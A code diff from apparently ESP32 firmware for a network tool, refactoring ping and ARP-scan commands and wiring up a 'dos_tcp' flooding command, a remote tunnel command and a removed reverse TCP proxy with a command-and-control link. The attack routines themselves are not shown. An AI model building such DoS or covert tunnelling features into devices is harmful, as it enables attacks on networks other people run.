send(client_fd, fail, strlen(fail), 0);
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
@ -1,3 +1,9 @@
|
||||
idf_component_register(SRCS "cmd_network.c" "mod_ping.c" "mod_proxy.c" "mod_arp.c" "mod_dos.c"
|
||||
set(SRCS "cmd_network.c" "mod_ping.c" "mod_arp.c" "mod_dos.c")
|
||||
|
||||
if(CONFIG_MODULE_TUNNEL)
|
||||
list(APPEND SRCS "tun_core.c")
|
||||
endif()
|
||||
|
||||
idf_component_register(SRCS ${SRCS}
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES lwip protocol_examples_common esp_wifi core command)
|
||||
REQUIRES lwip protocol_examples_common esp_wifi core)
|
||||
|
||||
@ -11,16 +11,17 @@
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
#ifdef CONFIG_MODULE_TUNNEL
|
||||
#include "tun_core.h"
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* EXTERNAL SYMBOLS
|
||||
* ============================================================ */
|
||||
int do_ping_cmd(int argc, char **argv);
|
||||
int do_ping_cmd(int argc, char **argv, const char *req);
|
||||
void arp_scan_task(void *pvParameters);
|
||||
void init_proxy(char *ip, int port);
|
||||
extern int proxy_running;
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int count);
|
||||
|
||||
#define TAG "CMD_NETWORK"
|
||||
@ -41,7 +42,7 @@
|
||||
return -1;
|
||||
}
|
||||
|
||||
return do_ping_cmd(argc + 1, argv - 1);
|
||||
return do_ping_cmd(argc, argv, req);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
@ -56,13 +57,15 @@
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
(void)req;
|
||||
|
||||
|
||||
/* Heap-copy request_id for the scan task (freed inside arp_scan_task) */
|
||||
char *req_copy = req ? strdup(req) : NULL;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
arp_scan_task,
|
||||
"arp_scan",
|
||||
6144,
|
||||
NULL,
|
||||
req_copy,
|
||||
5,
|
||||
NULL,
|
||||
1
|
||||
@ -71,55 +74,6 @@
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: proxy_start <ip> <port>
|
||||
* ============================================================ */
|
||||
static int cmd_proxy_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 2) {
|
||||
msg_error(TAG, "usage: proxy_start <ip> <port>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (proxy_running) {
|
||||
msg_error(TAG, "proxy already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
init_proxy(argv[0], atoi(argv[1]));
|
||||
msg_info(TAG, "proxy started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: proxy_stop
|
||||
* ============================================================ */
|
||||
static int cmd_proxy_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!proxy_running) {
|
||||
msg_error(TAG, "proxy not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
proxy_running = 0;
|
||||
msg_info(TAG, "proxy stopping", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: dos_tcp <ip> <port> <count>
|
||||
* ============================================================ */
|
||||
@ -145,18 +99,101 @@
|
||||
msg_info(TAG, "DOS task started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
#ifdef CONFIG_MODULE_TUNNEL
|
||||
/* ============================================================
|
||||
* COMMAND: tun_start <ip> <port>
|
||||
* ============================================================ */
|
||||
static int cmd_tun_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 2) {
|
||||
msg_error(TAG, "usage: tun_start <ip> <port>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tun_is_running()) {
|
||||
msg_error(TAG, "tunnel already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int port = atoi(argv[1]);
|
||||
if (port <= 0 || port > 65535) {
|
||||
msg_error(TAG, "invalid port", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!tun_start(argv[0], port, req)) {
|
||||
msg_error(TAG, "tunnel start failed", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
msg_info(TAG, "tunnel starting", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: tun_stop
|
||||
* ============================================================ */
|
||||
static int cmd_tun_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!tun_is_running()) {
|
||||
msg_error(TAG, "tunnel not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
tun_stop();
|
||||
msg_info(TAG, "tunnel stopping", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: tun_status
|
||||
* ============================================================ */
|
||||
static int cmd_tun_status(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
char status[256];
|
||||
tun_get_status(status, sizeof(status));
|
||||
msg_info(TAG, status, req);
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_MODULE_TUNNEL */
|
||||
|
||||
/* ============================================================
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t network_cmds[] = {
|
||||
{ "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true },
|
||||
{ "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true },
|
||||
{ "proxy_start", NULL, NULL, 2, 2, cmd_proxy_start, NULL, true },
|
||||
{ "proxy_stop", NULL, NULL, 0, 0, cmd_proxy_stop, NULL, false },
|
||||
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true }
|
||||
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true },
|
||||
#ifdef CONFIG_MODULE_TUNNEL
|
||||
{ "tun_start", NULL, "Start tunnel: tun_start <ip> <port>", 2, 2, cmd_tun_start, NULL, true },
|
||||
{ "tun_stop", NULL, "Stop tunnel", 0, 0, cmd_tun_stop, NULL, false },
|
||||
{ "tun_status", NULL, "Tunnel status", 0, 0, cmd_tun_status, NULL, false },
|
||||
#endif
|
||||
};
|
||||
|
||||
|
||||
void mod_network_register_commands(void)
|
||||
{
|
||||
for (size_t i = 0;
|
||||
|
||||
@ -5,156 +5,158 @@
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_netif.h"
|
||||
#include "esp_netif_net_stack.h"
|
||||
|
||||
|
||||
#include "lwip/ip4_addr.h"
|
||||
#include "lwip/etharp.h"
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
#define TAG "ARP_SCAN"
|
||||
#define ARP_TIMEOUT_MS 5000
|
||||
#define ARP_BATCH_SIZE 5
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Convert little/big endian safely */
|
||||
static uint32_t swap_u32(uint32_t v)
|
||||
{
|
||||
return ((v & 0xFF000000U) >> 24) |
|
||||
((v & 0x00FF0000U) >> 8) |
|
||||
((v & 0x0000FF00U) << 8) |
|
||||
((v & 0x000000FFU) << 24);
|
||||
}
|
||||
|
||||
static void next_ip(esp_ip4_addr_t *ip)
|
||||
{
|
||||
esp_ip4_addr_t tmp;
|
||||
tmp.addr = swap_u32(ip->addr);
|
||||
tmp.addr++;
|
||||
ip->addr = swap_u32(tmp.addr);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ARP scan task
|
||||
* ============================================================ */
|
||||
|
||||
void arp_scan_task(void *pvParameters)
|
||||
{
|
||||
(void)pvParameters;
|
||||
|
||||
msg_info(TAG, "ARP scan started", NULL);
|
||||
|
||||
esp_netif_t *netif_handle =
|
||||
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
|
||||
if (!netif_handle) {
|
||||
msg_error(TAG, "wifi netif not found", NULL);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
struct netif *lwip_netif =
|
||||
esp_netif_get_netif_impl(netif_handle);
|
||||
if (!lwip_netif) {
|
||||
msg_error(TAG, "lwIP netif not found", NULL);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
esp_netif_ip_info_t ip_info;
|
||||
esp_netif_get_ip_info(netif_handle, &ip_info);
|
||||
|
||||
/* Compute network range */
|
||||
esp_ip4_addr_t start_ip;
|
||||
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t end_ip;
|
||||
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t cur_ip = start_ip;
|
||||
|
||||
char ip_str[IP4ADDR_STRLEN_MAX];
|
||||
char json[128];
|
||||
|
||||
while (cur_ip.addr != end_ip.addr) {
|
||||
|
||||
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
|
||||
int batch_count = 0;
|
||||
|
||||
/* Send ARP requests */
|
||||
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
|
||||
next_ip(&cur_ip);
|
||||
if (cur_ip.addr == end_ip.addr)
|
||||
break;
|
||||
|
||||
etharp_request(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&cur_ip
|
||||
);
|
||||
|
||||
batch[batch_count++] = cur_ip;
|
||||
}
|
||||
|
||||
/* Wait for replies */
|
||||
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
|
||||
|
||||
/* Collect results */
|
||||
for (int i = 0; i < batch_count; i++) {
|
||||
struct eth_addr *mac = NULL;
|
||||
const ip4_addr_t *ip_ret = NULL;
|
||||
|
||||
if (etharp_find_addr(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&batch[i],
|
||||
&mac,
|
||||
&ip_ret
|
||||
) == ERR_OK && mac) {
|
||||
|
||||
esp_ip4addr_ntoa(
|
||||
&batch[i],
|
||||
ip_str,
|
||||
sizeof(ip_str)
|
||||
);
|
||||
|
||||
int len = snprintf(
|
||||
json,
|
||||
sizeof(json),
|
||||
"{"
|
||||
"\"ip\":\"%s\","
|
||||
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
|
||||
"}",
|
||||
ip_str,
|
||||
mac->addr[0], mac->addr[1], mac->addr[2],
|
||||
mac->addr[3], mac->addr[4], mac->addr[5]
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
/* 1 host = 1 streamed event */
|
||||
msg_data(
|
||||
TAG,
|
||||
json,
|
||||
len,
|
||||
false, /* eof */
|
||||
NULL
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
msg_info(TAG, "ARP scan completed", NULL);
|
||||
|
||||
/* End of stream */
|
||||
msg_data(TAG, NULL, 0, true, NULL);
|
||||
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
#define ARP_TIMEOUT_MS 1500
|
||||
#define ARP_BATCH_SIZE 16
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Convert little/big endian safely */
|
||||
static uint32_t swap_u32(uint32_t v)
|
||||
{
|
||||
return ((v & 0xFF000000U) >> 24) |
|
||||
((v & 0x00FF0000U) >> 8) |
|
||||
((v & 0x0000FF00U) << 8) |
|
||||
((v & 0x000000FFU) << 24);
|
||||
}
|
||||
|
||||
static void next_ip(esp_ip4_addr_t *ip)
|
||||
{
|
||||
esp_ip4_addr_t tmp;
|
||||
tmp.addr = swap_u32(ip->addr);
|
||||
tmp.addr++;
|
||||
ip->addr = swap_u32(tmp.addr);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ARP scan task
|
||||
* pvParameters = heap-allocated request_id string (or NULL)
|
||||
* ============================================================ */
|
||||
|
||||
void arp_scan_task(void *pvParameters)
|
||||
{
|
||||
char *req = (char *)pvParameters;
|
||||
|
||||
ESP_LOGI(TAG, "ARP scan started (req=%s)", req ? req : "none");
|
||||
|
||||
esp_netif_t *netif_handle =
|
||||
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
|
||||
if (!netif_handle) {
|
||||
msg_error(TAG, "wifi netif not found", req);
|
||||
free(req);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
struct netif *lwip_netif =
|
||||
esp_netif_get_netif_impl(netif_handle);
|
||||
if (!lwip_netif) {
|
||||
msg_error(TAG, "lwIP netif not found", req);
|
||||
free(req);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
esp_netif_ip_info_t ip_info;
|
||||
esp_netif_get_ip_info(netif_handle, &ip_info);
|
||||
|
||||
/* Compute network range */
|
||||
esp_ip4_addr_t start_ip;
|
||||
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t end_ip;
|
||||
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t cur_ip = start_ip;
|
||||
|
||||
char ip_str[IP4ADDR_STRLEN_MAX];
|
||||
char json[128];
|
||||
|
||||
while (cur_ip.addr != end_ip.addr) {
|
||||
|
||||
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
|
||||
int batch_count = 0;
|
||||
|
||||
/* Send ARP requests */
|
||||
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
|
||||
next_ip(&cur_ip);
|
||||
if (cur_ip.addr == end_ip.addr)
|
||||
break;
|
||||
|
||||
etharp_request(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&cur_ip
|
||||
);
|
||||
|
||||
batch[batch_count++] = cur_ip;
|
||||
}
|
||||
|
||||
/* Wait for replies */
|
||||
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
|
||||
|
||||
/* Collect results */
|
||||
for (int i = 0; i < batch_count; i++) {
|
||||
struct eth_addr *mac = NULL;
|
||||
const ip4_addr_t *ip_ret = NULL;
|
||||
|
||||
if (etharp_find_addr(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&batch[i],
|
||||
&mac,
|
||||
&ip_ret
|
||||
) >= 0 && mac) {
|
||||
|
||||
esp_ip4addr_ntoa(
|
||||
&batch[i],
|
||||
ip_str,
|
||||
sizeof(ip_str)
|
||||
);
|
||||
|
||||
int len = snprintf(
|
||||
json,
|
||||
sizeof(json),
|
||||
"{"
|
||||
"\"ip\":\"%s\","
|
||||
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
|
||||
"}",
|
||||
ip_str,
|
||||
mac->addr[0], mac->addr[1], mac->addr[2],
|
||||
mac->addr[3], mac->addr[4], mac->addr[5]
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(
|
||||
TAG,
|
||||
json,
|
||||
len,
|
||||
false,
|
||||
req
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Final message closes the stream (eof=true) */
|
||||
const char *done = "ARP scan completed";
|
||||
msg_data(TAG, done, strlen(done), true, req);
|
||||
|
||||
free(req);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
@ -6,177 +6,192 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
|
||||
#include "lwip/inet.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "esp_log.h"
|
||||
#include "ping/ping_sock.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "PING"
|
||||
|
||||
static char line[256];
|
||||
|
||||
/* ============================================================
|
||||
* Ping callbacks
|
||||
* ============================================================ */
|
||||
|
||||
static void ping_on_success(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
(void)args;
|
||||
|
||||
uint8_t ttl;
|
||||
uint16_t seq;
|
||||
uint32_t time_ms, size;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
|
||||
(unsigned long)size,
|
||||
ipaddr_ntoa(&addr),
|
||||
seq,
|
||||
ttl,
|
||||
(unsigned long)time_ms
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
(void)args;
|
||||
|
||||
uint16_t seq;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"From %s: icmp_seq=%u timeout",
|
||||
ipaddr_ntoa(&addr),
|
||||
seq
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_end(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
(void)args;
|
||||
|
||||
uint32_t sent, recv, duration;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"--- %s ping statistics ---\n"
|
||||
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
|
||||
ipaddr_ntoa(&addr),
|
||||
(unsigned long)sent,
|
||||
(unsigned long)recv,
|
||||
loss,
|
||||
(unsigned long)duration
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
/* Final summary, end of stream */
|
||||
msg_data(TAG, line, len, true, NULL);
|
||||
|
||||
}
|
||||
|
||||
esp_ping_delete_session(hdl);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command entry point (used by network command wrapper)
|
||||
* ============================================================ */
|
||||
|
||||
int do_ping_cmd(int argc, char **argv)
|
||||
{
|
||||
if (argc < 2) {
|
||||
msg_error(TAG,
|
||||
"usage: ping <host> [timeout interval size count ttl iface]",
|
||||
NULL);
|
||||
return -1;
|
||||
}
|
||||
|
||||
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
|
||||
cfg.count = 4;
|
||||
cfg.timeout_ms = 1000;
|
||||
|
||||
const char *host = argv[1];
|
||||
|
||||
/* Optional arguments */
|
||||
if (argc > 2) cfg.timeout_ms = atoi(argv[2]) * 1000;
|
||||
if (argc > 3) cfg.interval_ms = (uint32_t)(atof(argv[3]) * 1000);
|
||||
if (argc > 4) cfg.data_size = atoi(argv[4]);
|
||||
if (argc > 5) cfg.count = atoi(argv[5]);
|
||||
if (argc > 6) cfg.tos = atoi(argv[6]);
|
||||
if (argc > 7) cfg.ttl = atoi(argv[7]);
|
||||
|
||||
/* Resolve host */
|
||||
ip_addr_t target;
|
||||
memset(&target, 0, sizeof(target));
|
||||
|
||||
if (!ipaddr_aton(host, &target)) {
|
||||
struct addrinfo *res = NULL;
|
||||
|
||||
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
|
||||
msg_error(TAG, "unknown host", NULL);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV4
|
||||
if (res->ai_family == AF_INET) {
|
||||
inet_addr_to_ip4addr(
|
||||
ip_2_ip4(&target),
|
||||
&((struct sockaddr_in *)res->ai_addr)->sin_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV6
|
||||
if (res->ai_family == AF_INET6) {
|
||||
inet6_addr_to_ip6addr(
|
||||
ip_2_ip6(&target),
|
||||
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
freeaddrinfo(res);
|
||||
}
|
||||
|
||||
cfg.target_addr = target;
|
||||
|
||||
esp_ping_callbacks_t cbs = {
|
||||
.on_ping_success = ping_on_success,
|
||||
.on_ping_timeout = ping_on_timeout,
|
||||
.on_ping_end = ping_on_end
|
||||
};
|
||||
|
||||
esp_ping_handle_t ping;
|
||||
esp_ping_new_session(&cfg, &cbs, &ping);
|
||||
esp_ping_start(ping);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "PING"
|
||||
|
||||
/* Context passed to ping callbacks via cb_args */
|
||||
typedef struct {
|
||||
char req[64]; /* request_id copy (empty string if none) */
|
||||
} ping_ctx_t;
|
||||
|
||||
/* ============================================================
|
||||
* Ping callbacks
|
||||
* ============================================================ */
|
||||
|
||||
static void ping_on_success(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
ping_ctx_t *ctx = (ping_ctx_t *)args;
|
||||
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
|
||||
char line[256];
|
||||
|
||||
uint8_t ttl;
|
||||
uint16_t seq;
|
||||
uint32_t time_ms, size;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
|
||||
(unsigned long)size,
|
||||
ipaddr_ntoa(&addr),
|
||||
seq,
|
||||
ttl,
|
||||
(unsigned long)time_ms
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, req);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
ping_ctx_t *ctx = (ping_ctx_t *)args;
|
||||
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
|
||||
char line[256];
|
||||
|
||||
uint16_t seq;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"From %s: icmp_seq=%u timeout",
|
||||
ipaddr_ntoa(&addr),
|
||||
seq
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, req);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_end(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
ping_ctx_t *ctx = (ping_ctx_t *)args;
|
||||
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
|
||||
|
||||
uint32_t sent, recv, duration;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
|
||||
|
||||
char line[256];
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"--- %s ping statistics ---\n"
|
||||
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
|
||||
ipaddr_ntoa(&addr),
|
||||
(unsigned long)sent,
|
||||
(unsigned long)recv,
|
||||
loss,
|
||||
(unsigned long)duration
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, true, req);
|
||||
}
|
||||
|
||||
esp_ping_delete_session(hdl);
|
||||
free(ctx);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command entry point
|
||||
* ============================================================ */
|
||||
|
||||
int do_ping_cmd(int argc, char **argv, const char *req)
|
||||
{
|
||||
if (argc < 1) {
|
||||
msg_error(TAG,
|
||||
"usage: ping <host> [timeout interval size count ttl iface]",
|
||||
req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
|
||||
cfg.count = 4;
|
||||
cfg.timeout_ms = 1000;
|
||||
cfg.task_stack_size = 8192; /* default 2048 too small for msg_data→protobuf stack */
|
||||
|
||||
const char *host = argv[0];
|
||||
|
||||
/* Optional arguments */
|
||||
if (argc > 1) cfg.timeout_ms = atoi(argv[1]) * 1000;
|
||||
if (argc > 2) cfg.interval_ms = (uint32_t)(atof(argv[2]) * 1000);
|
||||
if (argc > 3) cfg.data_size = atoi(argv[3]);
|
||||
if (argc > 4) cfg.count = atoi(argv[4]);
|
||||
if (argc > 5) cfg.tos = atoi(argv[5]);
|
||||
if (argc > 6) cfg.ttl = atoi(argv[6]);
|
||||
|
||||
/* Resolve host */
|
||||
ip_addr_t target;
|
||||
memset(&target, 0, sizeof(target));
|
||||
|
||||
if (!ipaddr_aton(host, &target)) {
|
||||
struct addrinfo *res = NULL;
|
||||
|
||||
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
|
||||
msg_error(TAG, "unknown host", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV4
|
||||
if (res->ai_family == AF_INET) {
|
||||
inet_addr_to_ip4addr(
|
||||
ip_2_ip4(&target),
|
||||
&((struct sockaddr_in *)res->ai_addr)->sin_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV6
|
||||
if (res->ai_family == AF_INET6) {
|
||||
inet6_addr_to_ip6addr(
|
||||
ip_2_ip6(&target),
|
||||
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
freeaddrinfo(res);
|
||||
}
|
||||
|
||||
cfg.target_addr = target;
|
||||
|
||||
/* Heap-allocate context for callbacks (freed in ping_on_end) */
|
||||
ping_ctx_t *ctx = calloc(1, sizeof(ping_ctx_t));
|
||||
if (ctx && req) {
|
||||
snprintf(ctx->req, sizeof(ctx->req), "%s", req);
|
||||
}
|
||||
|
||||
esp_ping_callbacks_t cbs = {
|
||||
.on_ping_success = ping_on_success,
|
||||
.on_ping_timeout = ping_on_timeout,
|
||||
.on_ping_end = ping_on_end,
|
||||
.cb_args = ctx
|
||||
};
|
||||
|
||||
esp_ping_handle_t ping;
|
||||
esp_ping_new_session(&cfg, &cbs, &ping);
|
||||
esp_ping_start(ping);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@ -1,200 +0,0 @@
|
||||
/*
|
||||
* Eun0us - Reverse TCP Proxy Module
|
||||
* Clean & stream-based implementation
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "PROXY"
|
||||
|
||||
#define MAX_PROXY_RETRY 10
|
||||
#define RETRY_DELAY_MS 5000
|
||||
#define CMD_BUF_SIZE 256
|
||||
#define RX_BUF_SIZE 1024
|
||||
|
||||
int proxy_running = 0;
|
||||
static int cc_client = -1;
|
||||
|
||||
/* ============================================================
